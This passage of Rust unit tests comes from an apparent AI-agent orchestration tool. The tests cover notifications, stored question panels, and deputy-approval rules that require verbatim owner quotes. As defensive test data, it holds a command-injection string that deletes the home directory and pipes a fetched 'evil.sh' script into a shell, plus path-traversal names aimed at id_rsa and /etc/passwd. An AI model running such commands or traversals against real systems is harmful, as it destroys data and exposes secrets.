2890 );
2891 }
2892
2893 #[tokio::test]
2894 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2895 let (dir, s) = store();
2899 let broken = config::Notify {
2900 command: vec![
2901 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2902 "{summary}".to_owned(),
2903 ],
2904 };
2905 let mut q = choice_question();
2906 assert!(
2907 notify(&broken, &q).await.is_err(),
2908 "the caller is told; it decides that it does not matter"
2909 );
2910
2911 let id = q.id.clone();
2912 let writer = Questions::at(dir.path().join("questions"));
2913 let handle = tokio::spawn(async move {
2914 tokio::time::sleep(Duration::from_millis(30)).await;
2915 let mut fresh = writer.get(&id).unwrap();
2916 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2917 writer.put(&mut fresh).unwrap();
2918 });
2919 let got = wait_for_owner(
2920 &mut q,
2921 &s,
2922 &broken,
2923 Duration::from_secs(5),
2924 Duration::from_millis(10),
2925 )
2926 .await
2927 .unwrap();
2928 handle.await.unwrap();
2929 assert_eq!(got, Wait::Answered("Redis".to_owned()));
2930
2931 assert!(notify(&quiet(), &q).await.is_ok());
2933 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2934 }
2935
2936 #[tokio::test]
2937 async fn external_question_notification_names_the_supported_response_path() {
2938 let dir = tempfile::tempdir().unwrap();
2939 let path = dir.path().join("page");
2940 let cmd = config::Notify {
2941 command: vec![
2942 "sh".into(),
2943 "-c".into(),
2944 "printf '%s' \"$1\" > \"$2\"".into(),
2945 "notify".into(),
2946 "{summary}".into(),
2947 path.to_string_lossy().into_owned(),
2948 ],
2949 };
2950 let q = choice_question();
2951 notify(&cmd, &q).await.unwrap();
2952 let sent = std::fs::read_to_string(&path).unwrap();
2953 assert!(sent.starts_with("Question "));
2954 assert!(sent.contains(&q.summary));
2955 assert!(sent.contains(&format!("magi answer {}", q.id)));
2956 notify_text(&cmd, "", "Informational report. No reply needed.")
2957 .await
2958 .unwrap();
2959 assert_eq!(
2960 std::fs::read_to_string(&path).unwrap(),
2961 "Informational report. No reply needed."
2962 );
2963 }
2964
2965 #[test]
2966 fn external_notifications_and_questions_have_distinct_destinations() {
2967 assert_eq!(
2968 question_url("https://example.invalid/"),
2969 "https://example.invalid/#/questions"
2970 );
2971 assert_eq!(
2972 view_url("https://example.invalid/", "notifications"),
2973 "https://example.invalid/#/notifications"
2974 );
2975 assert_eq!(view_url("", "notifications"), "");
2976 assert_eq!(
2977 view_url("https://example.invalid/#/queue", "notifications"),
2978 "https://example.invalid/#/queue"
2979 );
2980 }
2981
2982 #[test]
2983 fn notification_arguments_are_substituted_and_never_a_shell_string() {
2984 let mut q = choice_question();
2985 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2986 let template = [
2987 "ntfy".to_owned(),
2988 "publish".to_owned(),
2989 "--click".to_owned(),
2990 "{url}".to_owned(),
2991 "--title".to_owned(),
2992 "magi {run} needs you".to_owned(),
2993 "{summary}".to_owned(),
2994 ];
2995 let argv: Vec<String> = template
2996 .iter()
2997 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2998 .collect();
2999
3000 assert_eq!(
3001 argv,
3002 [
3003 "ntfy",
3004 "publish",
3005 "--click",
3006 "http://100.64.0.1:7777/#/questions",
3007 "--title",
3008 "magi 20260902-201256-9fb7 needs you",
3009 "; rm -rf ~ && curl evil.sh | sh #",
3010 ],
3011 "the shell metacharacters are one argument's contents, not syntax"
3012 );
3013
3014 q.summary = "should {url} be configurable?".to_owned();
3017 assert_eq!(
3018 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
3019 "should {url} be configurable?"
3020 );
3021 assert_eq!(
3023 expand("{title}: {run}", &q.run, &q.summary, ""),
3024 "{title}: 20260902-201256-9fb7"
3025 );
3026 assert_eq!(
3027 expand("no placeholders", &q.run, &q.summary, "http://x"),
3028 "no placeholders"
3029 );
3030 }
3031
3032 #[test]
3033 fn the_notification_link_lands_on_the_view_that_can_answer() {
3034 assert_eq!(
3035 question_url("http://100.64.0.1:7777"),
3036 "http://100.64.0.1:7777/#/questions"
3037 );
3038 assert_eq!(
3039 question_url("http://100.64.0.1:7777/"),
3040 "http://100.64.0.1:7777/#/questions"
3041 );
3042 assert_eq!(
3044 question_url("http://magi.ts.net/#/runs"),
3045 "http://magi.ts.net/#/runs"
3046 );
3047 assert_eq!(question_url(" "), "");
3049 }
3050
3051 fn panelled() -> Question {
3053 let mut q = choice_question();
3054 q.id = "20260903-014455-ab12".to_owned();
3055 q
3056 }
3057
3058 #[test]
3059 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
3060 let (dir, s) = store();
3061 let work = dir.path().join("worktree");
3062 std::fs::create_dir_all(&work).unwrap();
3063 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
3064 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
3065
3066 let mut q = panelled();
3067 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
3068 s.put_panel(
3069 &mut q,
3070 html,
3071 &[work.join("table.png"), work.join("diff.svg")],
3072 )
3073 .unwrap();
3074 s.put(&mut q).unwrap();
3075
3076 assert!(q.panel);
3077 assert_eq!(
3078 q.assets,
3079 ["diff.svg", "table.png"],
3080 "sorted, not in the order the agent happened to pass them"
3081 );
3082 assert_eq!(
3083 s.panel_html(&q.id).as_deref(),
3084 Some(html),
3085 "the html is stored byte for byte; the agent authored the markup"
3086 );
3087 assert_eq!(
3088 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
3089 Some(&b"<svg/>"[..])
3090 );
3091
3092 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
3094 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
3095 assert_eq!(json["panel"], true);
3096 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
3097 let back = s.get(&q.id).unwrap();
3098 assert!(back.panel);
3099 assert_eq!(back.assets, q.assets);
3100
3101 std::fs::remove_dir_all(&work).unwrap();
3104 assert_eq!(
3105 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
3106 Some(&b"\x89PNG"[..]),
3107 "a referenced asset would be gone with the worktree"
3108 );
3109 }
3110
3111 #[test]
3112 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
3113 let (dir, s) = store();
3114 let mut q = panelled();
3115 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
3116 s.put(&mut q).unwrap();
3117
3118 let secret = "this must never reach the browser";
3121 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
3122 assert_eq!(
3123 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
3124 secret,
3125 "the traversal is real: the operating system resolves this path \
3126 happily, which is why the name has to be refused before the join"
3127 );
3128
3129 let long = "x".repeat(200);
3130 for name in [
3131 "..",
3132 "../id_rsa",
3133 "..\\id_rsa",
3134 "sub/../id_rsa",
3135 "/",
3136 "\\",
3137 "/etc/passwd",
3138 "C:\\Windows\\win.ini",
3139 "",
3140 ".hidden",
3141 ".",
3142 long.as_str(),
3143 ] {
3144 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
3145 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
3146 assert!(
3147 e.contains("not a panel file name"),
3148 "`{name}` must be refused as a name, not attempted: {e}"
3149 );
3150 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
3151 }
3152 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
3155
3156 let hidden = dir.path().join(".hidden");
3159 std::fs::write(&hidden, "x").unwrap();
3160 let e = s
3161 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
3162 .unwrap_err()
3163 .to_string();
3164 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
3165 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
3166 assert!(q.assets.is_empty());
3167 }
3168
3169 #[test]
3170 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
3171 let (dir, s) = store();
3172 let mut q = panelled();
3173 s.put(&mut q).unwrap();
3174
3175 let big = dir.path().join("recording.png");
3178 std::fs::File::create(&big)
3179 .unwrap()
3180 .set_len(PANEL_MAX_BYTES)
3181 .unwrap();
3182
3183 let html = "<p>see the recording</p>";
3184 let total = PANEL_MAX_BYTES + html.len() as u64;
3185 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
3186 assert!(
3187 e.contains(&PANEL_MAX_BYTES.to_string()),
3188 "the cap is named so the agent knows the limit: {e}"
3189 );
3190 assert!(
3191 e.contains(&total.to_string()),
3192 "the actual size is named so the agent knows by how much: {e}"
3193 );
3194
3195 assert!(!q.panel);
3196 assert!(q.assets.is_empty());
3197 let left: Vec<String> = std::fs::read_dir(s.root())
3198 .unwrap()
3199 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
3200 .collect();
3201 assert_eq!(
3202 left,
3203 [format!("{}.json", q.id)],
3204 "a refused panel leaves neither a directory nor scratch: {left:?}"
3205 );
3206 }
3207
3208 #[test]
3209 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
3210 let (dir, s) = store();
3211 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
3212 std::fs::create_dir_all(&before).unwrap();
3213 std::fs::create_dir_all(&after).unwrap();
3214 std::fs::write(before.join("diff.png"), "before").unwrap();
3215 std::fs::write(after.join("diff.png"), "after").unwrap();
3216
3217 let mut q = panelled();
3218 let e = s
3219 .put_panel(
3220 &mut q,
3221 "<p>x</p>",
3222 &[before.join("diff.png"), after.join("diff.png")],
3223 )
3224 .unwrap_err()
3225 .to_string();
3226 assert!(e.contains("diff.png"), "{e}");
3227 assert!(
3228 e.contains("before") && e.contains("after"),
3229 "both sources are named, because the fix is to rename one: {e}"
3230 );
3231 assert!(!q.panel);
3232 assert!(!s.panel_dir(&q.id).exists());
3233 }
3234
3235 #[test]
3236 fn concurrent_questions_keep_independent_records_and_panels_with_identical_entropy() {
3237 let (_dir, s) = store();
3238 let barrier = std::sync::Barrier::new(8);
3239 let ids = std::thread::scope(|scope| {
3240 let handles: Vec<_> = (0..8)
3241 .map(|worker| {
3242 let s = &s;
3243 let barrier = &barrier;
3244 scope.spawn(move || {
3245 barrier.wait();
3246 (0..16)
3247 .map(|index| {
3248 let mut q = choice_question();
3249 q.id = new_id_at("20261020-224346", 0xf8ef);
3252 q.summary = format!("worker {worker}, question {index}");
3253 assert!(valid_asset_name(&q.id));
3254 assert_eq!(q.short(), "f8ef");
3255 let html = format!("<p>{}</p>", q.summary);
3256 s.put_panel(&mut q, &html, &[]).unwrap();
3257 s.put(&mut q).unwrap();
3258 (q.id, q.summary, html)
3259 })
3260 .collect::<Vec<_>>()
3261 })
3262 })
3263 .collect();
3264 handles
3265 .into_iter()
3266 .flat_map(|handle| handle.join().unwrap())
3267 .collect::<Vec<_>>()
3268 });
3269 assert_eq!(s.list().len(), ids.len());
3270 for (id, summary, html) in ids {
3271 assert_eq!(s.get(&id).unwrap().summary, summary);
3272 assert_eq!(s.panel_html(&id).as_deref(), Some(html.as_str()));
3273 }
3274 }
3275
3276 #[test]
3277 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3278 let (dir, s) = store();
3279 std::fs::write(dir.path().join("old.png"), "old").unwrap();
3280 std::fs::write(dir.path().join("new.png"), "new").unwrap();
3281
3282 let mut q = panelled();
3283 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3284 .unwrap();
3285 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3286 .unwrap();
3287
3288 assert_eq!(q.assets, ["new.png"]);
3289 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3290 assert!(
3291 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3292 "an asset from the first attempt would show a mix of two answers"
3293 );
3294
3295 s.drop_panel(&q.id).unwrap();
3296 assert!(s.panel_html(&q.id).is_none());
3297 assert!(!s.panel_dir(&q.id).exists());
3298 s.drop_panel(&q.id)
3299 .expect("dropping a panel that is already gone is the desired state");
3300 }
3301
3302 #[test]
3303 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3304 let (_dir, s) = store();
3305 let mut q = panelled();
3306 s.put(&mut q).unwrap();
3307
3308 assert!(!q.panel);
3309 assert!(s.panel_html(&q.id).is_none());
3310 assert!(
3311 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3312 "a missing file is a 404 for the caller, not a failure of the store"
3313 );
3314 let json = serde_json::to_value(&q).unwrap();
3315 assert_eq!(json["panel"], false);
3316 assert_eq!(json["assets"], serde_json::json!([]));
3317
3318 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
3321 assert!(e.contains("empty panel"), "{e}");
3322 assert!(!s.panel_dir(&q.id).exists());
3323 }
3324
3325 #[test]
3326 fn a_question_written_before_panels_existed_still_deserialises() {
3327 let (_dir, s) = store();
3328 std::fs::create_dir_all(s.root()).unwrap();
3329 let id = "20260902-231501-ab12";
3330 let body = r#"{
3332 "schema": 1,
3333 "id": "20260902-231501-ab12",
3334 "run": "20260902-201256-9fb7",
3335 "node": "implement",
3336 "seat": "impl-A",
3337 "summary": "Which storage backend should the cache use?",
3338 "detail": "Both are already dependencies.",
3339 "choices": ["SQLite", "Redis"],
3340 "status": "open",
3341 "asked_at": "2026-09-02T23:15:01Z",
3342 "answered_at": null,
3343 "answer": null
3344}"#;
3345 std::fs::write(s.path_of(id), body).unwrap();
3346
3347 let q = s.get(id).unwrap();
3348 assert!(
3349 !q.panel,
3350 "an absent field means no panel, not a parse error"
3351 );
3352 assert!(q.assets.is_empty());
3353 assert_eq!(q.schema, 1);
3358 assert!(q.thread.is_empty());
3359 assert_eq!(
3360 q.answer_timeout, 0,
3361 "an absent field means unrecorded, not a zero-second deadline"
3362 );
3363 assert!(!q.waiting_on_agent());
3364 assert_eq!(q.summary, "Which storage backend should the cache use?");
3365 assert_eq!(
3366 s.list().len(),
3367 1,
3368 "and it is still listed; skipping it would hide an open question"
3369 );
3370 }
3371
3372 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3373 Turn {
3374 who,
3375 body: body.to_owned(),
3376 at,
3377 note: None,
3378 }
3379 }
3380
3381 #[test]
3382 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3383 let mut q = choice_question();
3386 q.thread
3387 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3388 let value = serde_json::to_value(&q.thread[0]).unwrap();
3389 let mut keys: Vec<&str> = value
3390 .as_object()
3391 .unwrap()
3392 .keys()
3393 .map(String::as_str)
3394 .collect();
3395 keys.sort_unstable();
3396 assert_eq!(keys, ["at", "body", "who"]);
3397 assert_eq!(value["who"], "operator");
3398 assert_eq!(value["body"], "why not Postgres?");
3399
3400 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3401 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3402 assert_eq!(parsed.who, Who::Agent);
3403 }
3404
3405 fn approval_question() -> Question {
3406 let mut q = Question::new(
3407 "run".into(),
3408 crate::land::APPROVAL_NODE.into(),
3409 "land".into(),
3410 "Merge?".into(),
3411 String::new(),
3412 vec!["merge".into(), "hold".into()],
3413 );
3414 let mut dep = Deputy::new("brief".into());
3415 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3416 q.deputy = Some(dep);
3417 q
3418 }
3419
3420 #[test]
3421 fn deputy_batch_words_never_replace_specific_consent_or_a_recommendation_manifest() {
3422 for choice in [
3423 crate::merge_decision::WITHDRAW,
3424 "reimplement:primary",
3425 "retry",
3426 "discard",
3427 ] {
3428 let mut q = approval_question();
3429 q.choices.push(choice.into());
3430 if matches!(choice, "retry" | "discard") {
3431 q.node = "recovery".into();
3432 }
3433 if choice == "discard" {
3434 q.actions.insert(choice.into(), ChoiceAction::Done);
3435 }
3436 let words = "おっけーそれぞれ回答してー";
3437 q.say(words).unwrap();
3438 let error = q
3439 .settle_by_deputy("deputy-x", choice, words, None)
3440 .unwrap_err()
3441 .to_string();
3442 assert!(
3443 error.contains(if choice == "retry" {
3444 "manifest"
3445 } else {
3446 "individual owner confirmation"
3447 }),
3448 "{choice}: {error}"
3449 );
3450 assert!(q.status.open());
3451 }
3452 }
3453
3454 #[test]
3455 fn merge_decision_deputy_requires_current_head_confirmation_and_exact_stop_tokens() {
3456 for choice in [
3457 crate::land::HOLD,
3458 crate::land::REPAIR,
3459 crate::merge_decision::WITHDRAW,
3460 "reimplement:beta",
3461 ] {
3462 let mut q = approval_question();
3463 q.node = crate::land::APPROVAL_NODE.into();
3464 q.choices = vec!["merge".into(), choice.into()];
3465 q.merge_target = Some(crate::merge_decision::Target {
3466 pr: "PR 42".into(),
3467 head: "abc".into(),
3468 language: "en".into(),
3469 });
3470 q.say(format!("Should we choose {choice}?")).unwrap();
3471 assert!(
3472 q.settle_by_deputy("deputy-x", choice, choice, None)
3473 .is_err()
3474 );
3475 q.say(choice).unwrap();
3476 q.settle_by_deputy("deputy-x", choice, choice, None)
3477 .unwrap();
3478 assert_eq!(q.resolution().as_deref(), Some(choice));
3479 }
3480 let mut q = approval_question();
3481 q.node = crate::land::APPROVAL_NODE.into();
3482 q.choices = vec!["merge".into(), "hold".into()];
3483 q.merge_target = Some(crate::merge_decision::Target {
3484 pr: "PR 42".into(),
3485 head: "new-head".into(),
3486 language: "en".into(),
3487 });
3488 q.say("merge old-head").unwrap();
3489 assert!(
3490 q.settle_by_deputy("deputy-x", "merge", "merge old-head", None)
3491 .is_err()
3492 );
3493 q.say("merge new-head").unwrap();
3494 q.settle_by_deputy("deputy-x", "merge", "merge new-head", None)
3495 .unwrap();
3496 }
3497
3498 #[test]
3499 fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
3500 let mut q = approval_question();
3501 q.choices.push(crate::land::REPAIR.into());
3502 q.say("maybe fix findings and re-review").unwrap();
3503 assert!(
3504 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3505 .is_err()
3506 );
3507 q.say(crate::land::REPAIR).unwrap();
3508 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3509 .unwrap();
3510 assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
3511 assert_eq!(
3512 crate::land::approval(q.resolution().as_deref()),
3513 crate::land::Approval::Repair
3514 );
3515 }
3516
3517 #[test]
3518 fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
3519 let mut q = approval_question();
3520 q.say("merge").unwrap();
3521 q.reply("sure?", vec!["merge".into(), "hold".into()])
3522 .unwrap();
3523 q.say(" Merge it please ").unwrap();
3524 assert!(
3525 q.settle_by_deputy("deputy-x", "merge", " ", None)
3526 .is_err(),
3527 "an empty quote is refused"
3528 );
3529 assert!(
3530 q.settle_by_deputy("deputy-x", "merge", "ship it", None)
3531 .is_err(),
3532 "a quote the owner never said is refused"
3533 );
3534 assert_eq!(q.status, QuestionStatus::Open);
3535 q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
3536 .unwrap();
3537 assert_eq!(q.resolution().as_deref(), Some("merge"));
3538 }
3539
3540 #[test]
3541 fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
3542 use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
3543 let mk = || {
3544 let mut q = Question::new(
3545 "run".into(),
3546 crate::github_text::ASK_NODE.into(),
3547 crate::github_text::ASK_SEAT.into(),
3548 "s".into(),
3549 String::new(),
3550 vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
3551 );
3552 let mut dep = Deputy::new("brief".into());
3553 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3554 q.deputy = Some(dep);
3555 q
3556 };
3557 let mut hedged = mk();
3558 hedged.say("Post the original, maybe?").unwrap();
3559 assert!(
3560 hedged
3561 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3562 .is_err()
3563 );
3564 let mut clear = mk();
3565 clear.say("Post the original text as it is.").unwrap();
3566 clear
3567 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3568 .unwrap();
3569 assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3570 let mut japanese = mk();
3571 let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3572 japanese.say(words).unwrap();
3573 japanese
3574 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3575 .unwrap();
3576 let mut unrelated = mk();
3577 unrelated.say("Proceed with the task").unwrap();
3578 assert!(
3579 unrelated
3580 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3581 .is_err()
3582 );
3583 for words in [
3584 "OK, post the original",
3585 "Yes, post original",
3586 "I'd like to post the original",
3587 ] {
3588 let mut natural = mk();
3589 natural.say(words).unwrap();
3590 natural
3591 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3592 .unwrap();
3593 }
3594 for (message, quote) in [
3595 (
3596 "ログには「元の説明で投稿しました」と記録されています。",
3597 "ログには「元の説明で投稿しました」と記録されています。",
3598 ),
3599 (
3600 "ログには「元の説明で投稿してください」と記録されています。",
3601 "元の説明で投稿してください",
3602 ),
3603 ] {
3604 let mut descriptive = mk();
3605 descriptive.say(message).unwrap();
3606 assert!(
3607 descriptive
3608 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3609 .is_err()
3610 );
3611 assert!(descriptive.status.open());
3612 assert!(descriptive.answer.is_none());
3613 }
3614 let mut descriptive = mk();
3615 let message = "Post original was the option I saw.";
3616 descriptive.say(message).unwrap();
3617 for quote in [message, "Post original"] {
3618 assert!(
3619 descriptive
3620 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3621 .is_err()
3622 );
3623 assert!(descriptive.status.open());
3624 assert!(descriptive.answer.is_none());
3625 }
3626 let mut safe = mk();
3628 safe.say("use the fallback").unwrap();
3629 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3630 .unwrap();
3631 }
3632
3633 #[test]
3634 fn posting_deputy_rejects_multiline_quoted_context() {
3635 use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3636 for (command, choice) in [
3637 ("Post original", POST_ORIGINAL),
3638 ("Use rewrite", USE_REWRITE),
3639 ] {
3640 for message in [
3641 format!("The log contains:\n```\n{command}\n```"),
3642 format!("The log contains:\n\"\n{command}\n\""),
3643 format!("The log says: “Reported. {command}.”"),
3644 format!("The log says: “\n{command}\n”"),
3645 ]
3646 .into_iter()
3647 .chain(crate::github_text::reported_posting_messages(command))
3648 {
3649 let mut q = Question::new(
3650 "run".into(),
3651 ASK_NODE.into(),
3652 ASK_SEAT.into(),
3653 "s".into(),
3654 String::new(),
3655 vec![USE_FALLBACK.into(), choice.into()],
3656 );
3657 let mut dep = Deputy::new("brief".into());
3658 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3659 q.deputy = Some(dep);
3660 q.say(&message).unwrap();
3661 let tmp = tempfile::tempdir().unwrap();
3662 let questions = Questions::at(tmp.path().join("questions"));
3663 questions.put(&mut q).unwrap();
3664 for quote in [command, message.as_str()] {
3665 assert!(
3666 questions
3667 .update(&q.id, |stored| {
3668 stored.settle_by_deputy("deputy-x", choice, quote, None)
3669 })
3670 .is_err()
3671 );
3672 let after = questions.get(&q.id).unwrap();
3673 assert!(after.status.open());
3674 assert!(after.answer.is_none());
3675 }
3676 }
3677 }
3678 }
3679
3680 #[test]
3681 fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3682 use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3683 let mk = || {
3684 let mut q = Question::new(
3685 "run".into(),
3686 crate::github_text::ASK_NODE.into(),
3687 crate::github_text::ASK_SEAT.into(),
3688 "s".into(),
3689 String::new(),
3690 vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3691 );
3692 let mut dep = Deputy::new("brief".into());
3693 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3694 q.deputy = Some(dep);
3695 q
3696 };
3697 let mut hedged = mk();
3698 hedged.say("Use the rewrite, maybe?").unwrap();
3699 assert!(
3700 hedged
3701 .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3702 .is_err()
3703 );
3704 let mut descriptive = mk();
3705 let message = "Use rewrite was the option I saw.";
3706 descriptive.say(message).unwrap();
3707 for quote in [message, "Use rewrite"] {
3708 assert!(
3709 descriptive
3710 .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3711 .is_err()
3712 );
3713 assert!(descriptive.status.open());
3714 assert!(descriptive.answer.is_none());
3715 }
3716 for words in [
3717 "Use the rewrite text as it is.",
3718 "I'd like to use the rewrite",
3719 "修正版で投稿してください。",
3720 ] {
3721 let mut clear = mk();
3722 clear.say(words).unwrap();
3723 clear
3724 .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3725 .unwrap();
3726 assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3727 }
3728 let mut safe = mk();
3730 safe.say("use the fallback").unwrap();
3731 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3732 .unwrap();
3733 }
3734
3735 #[test]
3736 fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3737 let mk = |choices: Vec<String>| {
3738 let mut q = Question::new(
3739 String::new(),
3740 crate::bump::NOTICE_NODE.into(),
3741 "release-watch".into(),
3742 "Release?".into(),
3743 String::new(),
3744 choices,
3745 );
3746 let mut dep = Deputy::new("brief".into());
3747 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3748 q.deputy = Some(dep);
3749 q
3750 };
3751 let mut approval = mk(vec!["merge".into(), "hold".into()]);
3752 assert!(crate::deputy::merge_gated(&approval));
3753 approval.say("マージしていいよ").unwrap();
3754 assert!(
3755 approval
3756 .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3757 .is_err(),
3758 "a quote the owner never said is refused"
3759 );
3760 approval
3761 .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3762 .unwrap();
3763
3764 let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3765 assert!(!crate::deputy::merge_gated(&esc));
3766 esc.say("もう監視はいらない").unwrap();
3767 esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3768 .unwrap();
3769 assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3770 }
3771
3772 #[test]
3773 fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3774 let mut q = approval_question();
3775 q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3776 .unwrap();
3777 assert!(
3778 q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3779 .is_err(),
3780 "the quote must be the owner's"
3781 );
3782 assert!(
3783 q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3784 .is_err(),
3785 "`hold` still needs the whole message"
3786 );
3787 q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3788 .unwrap();
3789 assert_eq!(q.resolution().as_deref(), Some("merge"));
3790 }
3791
3792 fn settle_ready() -> Question {
3793 let mut q = Question::new(
3794 "task".to_owned(),
3795 "conduct".to_owned(),
3796 "conduct".to_owned(),
3797 "Done?".to_owned(),
3798 String::new(),
3799 vec!["yes".to_owned(), "no".to_owned()],
3800 );
3801 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3802 seat.turns = 1;
3803 let mut dep = Deputy::new("brief".to_owned());
3804 dep.seat = Some(seat);
3805 q.deputy = Some(dep);
3806 q.say("setup done, and file a follow-up").unwrap();
3807 q
3808 }
3809
3810 #[test]
3811 fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3812 let dir = tempfile::TempDir::new().unwrap();
3813 let store = Questions::at(dir.path().join("questions"));
3814 let mut q = settle_ready();
3815 let id = q.id.clone();
3816 store.put(&mut q).unwrap();
3817 store
3818 .update(&id, |q| {
3819 q.settle_by_deputy(
3820 "deputy-x",
3821 "yes",
3822 "setup done",
3823 Some(" no follow-up was queued "),
3824 )
3825 })
3826 .unwrap();
3827 let back = store.get(&id).unwrap();
3828 let turn = back.thread.last().unwrap();
3829 assert_eq!(turn.who, Who::Agent);
3830 assert!(turn.body.starts_with("Settled as `yes`"));
3831 assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3832 assert_eq!(back.thread[0].note, None);
3833 }
3834
3835 #[test]
3836 fn an_empty_or_blank_settle_note_is_no_note() {
3837 for note in [None, Some(""), Some(" \n ")] {
3838 let mut q = settle_ready();
3839 q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3840 .unwrap();
3841 assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3842 let json = serde_json::to_string(&q).unwrap();
3843 assert!(!json.contains("\"note\""), "no key when there is none");
3844 }
3845 }
3846
3847 #[test]
3848 fn a_refused_settle_leaves_no_note_behind() {
3849 let mut q = settle_ready();
3850 let before = q.thread.clone();
3851 assert!(
3852 q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3853 .is_err()
3854 );
3855 assert!(
3856 q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3857 .is_err()
3858 );
3859 assert_eq!(q.thread, before);
3860 assert_eq!(q.status, QuestionStatus::Open);
3861 }
3862
3863 #[test]
3864 fn a_turn_written_before_notes_existed_still_reads() {
3865 let t: Turn =
3866 serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3867 .unwrap();
